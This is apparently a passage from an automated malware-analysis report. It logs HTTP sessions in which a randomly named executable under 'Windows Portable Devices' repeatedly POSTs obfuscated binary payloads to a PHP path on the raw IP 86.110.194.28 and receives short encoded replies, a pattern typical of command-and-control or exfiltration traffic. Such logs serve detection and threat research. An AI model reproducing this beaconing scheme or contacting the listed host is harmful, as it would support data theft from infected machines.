Jan 3, 2025 18:27:51.862157106 CET	2576	OUT	Data Raw: 5b 51 5e 51 5d 5e 50 5d 54 5b 59 5a 5b 52 57 53 5f 51 5a 5d 52 51 50 47 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [Q^Q]^P]T[YZ[RWS_QZ]RQPG_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&<.6R1/8)+.^$&/R6U780\%)E3,T(#Y'$X.5
Jan 3, 2025 18:27:52.211743116 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:52.348356962 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	57111	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:52.500680923 CET	316	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue
Jan 3, 2025 18:27:52.846970081 CET	2576	OUT	Data Raw: 5e 52 5b 5b 5d 5a 55 58 54 5b 59 5a 5b 50 57 59 5f 52 5a 5c 52 5d 50 43 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^R[[]ZUXT[YZ[PWY_RZ\R]PC_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&+*!)$R$,D(;2^'B!Z1?9!B)U4'0$?0S)9#Y'$X.
Jan 3, 2025 18:27:53.199924946 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:53.332490921 CET	151	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	57112	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:53.601212025 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:53.955903053 CET	2576	OUT	Data Raw: 5b 52 5e 5d 5d 59 50 51 54 5b 59 5a 5b 5e 57 53 5f 54 5a 5d 52 54 50 44 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [R^]]YPQT[YZ[^WS_TZ]RTPD_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&E?Z" R%<#);&%'52/)!78['A'<T?9#Y'$X.
Jan 3, 2025 18:27:54.278213978 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:54.406502008 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	57113	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:54.545078993 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:54.893465996 CET	2576	OUT	Data Raw: 5b 57 5e 50 5d 59 50 58 54 5b 59 5a 5b 5e 57 5d 5f 52 5a 5f 52 5d 50 46 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [W^P]YPXT[YZ[^W]_RZ_R]PF_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&)->#)/%?)(1$*25 '=U#^/0)C3/(+9#Y'$X.
Jan 3, 2025 18:27:55.251940966 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:55.398859024 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	57115	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:55.521249056 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:55.877887964 CET	2576	OUT	Data Raw: 5b 50 5e 5e 58 5f 50 59 54 5b 59 5a 5b 55 57 5d 5f 54 5a 5b 52 52 50 45 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [P^^X_PYT[YZ[UW]_TZ[RRPE_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%?==Z#*2< E=+"Y3'%&,&"':#0[':#'/?9#Y'$X.)
Jan 3, 2025 18:27:56.212935925 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:56.345933914 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	57116	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:56.541343927 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:56.893399954 CET	2576	OUT	Data Raw: 5b 54 5b 58 58 5b 50 5c 54 5b 59 5a 5b 53 57 5e 5f 57 5a 5c 52 50 50 47 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [T[XX[P\T[YZ[SW^_WZ\RPPG_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&A(1_!\,U%$)]"X$$Z&=R5&#,'+3 +#Y'$X.1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	57122	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:57.214255095 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2164 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:57.565253019 CET	2164	OUT	Data Raw: 5b 53 5e 59 5d 5e 50 5c 54 5b 59 5a 5b 5e 57 5b 5f 51 5a 5b 52 5c 50 45 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [S^Y]^P\T[YZ[^W[_QZ[R\PE_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&+-2!\/$,,A>;2[$B)%%R57!U ^0Z09<D$$W(#Y'$X.
Jan 3, 2025 18:27:57.905055046 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:58.034455061 CET	380	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0d 1d 24 11 31 2b 08 5a 3e 11 01 10 31 33 29 12 35 33 3b 00 2c 56 29 19 36 2f 21 5a 26 3b 3c 13 3f 13 04 45 28 55 3e 09 21 3d 21 54 29 30 28 5d 03 10 3a 05 3f 13 30 03 28 2e 04 07 3a 37 3b 19 24 51 37 00 29 1d 25 54 25 2f 26 52 20 2d 3b 54 29 20 31 5f 30 5d 24 5a 28 30 34 00 30 3d 20 54 0b 17 27 1c 24 56 3f 5a 25 01 35 12 2a 19 27 02 30 3a 0b 19 35 12 3e 19 22 39 2f 03 2c 23 2a 0d 27 16 25 56 2b 3d 3c 0f 26 5c 22 13 30 11 2e 5c 23 0f 28 55 0d 34 57 50 Data Ascii: $1+Z>13)53;,V)6/!Z&;<?E(U>!=!T)0(]:?0(.:7;$Q7)%T%/&R -;T) 1_0]$Z(040= T'$V?Z%5'0:5>"9/,#'%V+=<&\"0.\#(U4WP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	57124	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:57.349770069 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:57.705903053 CET	2576	OUT	Data Raw: 5b 5d 5e 5b 58 56 50 5c 54 5b 59 5a 5b 54 57 58 5f 52 5a 5d 52 55 50 46 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: []^[XVP\T[YZ[TWX_RZ]RUPF_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&<"9 W1$>^052/Q6B=7^40)$@0<0T+9#Y'$X.-
Jan 3, 2025 18:27:58.047287941 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:58.178388119 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	57134	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:58.345115900 CET	316	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue
Jan 3, 2025 18:27:58.690383911 CET	2576	OUT	Data Raw: 5b 57 5e 5d 58 57 55 5c 54 5b 59 5a 5b 5e 57 5e 5f 5d 5a 59 52 51 50 46 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [W^]XWU\T[YZ[^W^_]ZYRQPF_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&?X"5,1<0E>;1'412 '=V!+#3:<@$?0+9#Y'$X.
Jan 3, 2025 18:27:59.030631065 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:59.160298109 CET	151	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	57137	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:59.475684881 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:59.830909967 CET	2568	OUT	Data Raw: 5b 5c 5e 51 58 59 50 5f 54 5b 59 5a 5b 57 57 59 5f 55 5a 54 52 52 50 46 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [\^QXYP_T[YZ[WWY_UZTRRPF_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&@(-!_!?1?,>;6_%4%X&,667;<$D'/W<9#Y'$X.)
Jan 3, 2025 18:28:00.183603048 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:00.310597897 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	57146	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:00.443778038 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:00.799659014 CET	2576	OUT	Data Raw: 5b 52 5b 5b 58 5a 50 5c 54 5b 59 5a 5b 56 57 5b 5f 55 5a 5a 52 53 50 47 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [R[[XZP\T[YZ[VW[_UZZRSPG_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&?>)^6) $?0C>=3='?*!%T780:;3 S<)#Y'$X.%
Jan 3, 2025 18:28:01.141184092 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:01.274350882 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	57152	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:01.412694931 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:01.768501043 CET	2576	OUT	Data Raw: 5e 57 5e 51 5d 5e 55 5a 54 5b 59 5a 5b 53 57 5f 5f 51 5a 5f 52 53 50 40 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^W^Q]^UZT[YZ[SW__QZ_RSP@_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%?1[!:$T$<()+'B6'<:5=#;,]3($, (#Y'$X.1
Jan 3, 2025 18:28:02.129822969 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:02.266278028 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	57159	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:02.495760918 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:02.846636057 CET	2576	OUT	Data Raw: 5b 55 5e 5f 5d 59 50 5a 54 5b 59 5a 5b 52 57 5e 5f 55 5a 5c 52 54 50 43 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [U^_]YPZT[YZ[RW^_UZ\RTPC_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&E<>632Z<D)+=0-\2/!5: (\$9'')9#Y'$X.5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	57162	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:03.055849075 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2164 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:03.409040928 CET	2164	OUT	Data Raw: 5b 56 5b 5f 5d 5e 50 5e 54 5b 59 5a 5b 5e 57 59 5f 57 5a 5a 52 52 50 44 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [V[_]^P^T[YZ[^WY_WZZRRPD_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%?X)]5\02Z8D);.[0$)%<)W6!(<Y$#'0W<9#Y'$X.
Jan 3, 2025 18:28:03.742019892 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:03.872391939 CET	380	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0d 1d 24 10 24 38 32 10 2a 01 2b 13 27 30 36 06 22 09 33 06 38 30 07 1d 36 3c 29 5a 31 02 38 1e 3c 04 36 07 3c 20 21 57 23 58 21 1d 28 1a 28 5d 03 10 39 58 3f 3d 33 58 28 3e 2d 5c 2e 27 2f 5f 27 09 3f 03 2a 20 25 51 25 05 3a 1d 35 04 3c 0c 3e 33 3d 5b 24 05 3c 5a 2b 56 30 02 27 2d 20 54 0b 17 27 56 27 09 33 5a 31 01 3e 01 29 0e 20 5b 26 2a 0f 51 22 02 2d 08 23 3a 24 5d 2c 30 39 54 33 3b 25 54 29 00 27 52 32 3a 3d 05 24 3b 2e 5c 23 0f 28 55 0d 34 57 50 Data Ascii: $$82+'06"3806<)Z18<6< !W#X!((]9X?=3X(>-\.'/_'? %Q%:5<>3=[$<Z+V0'- T'V'3Z1>) [&*Q"-#:$],09T3;%T)'R2:=$;.\#(U4WP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	57165	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:03.194828033 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
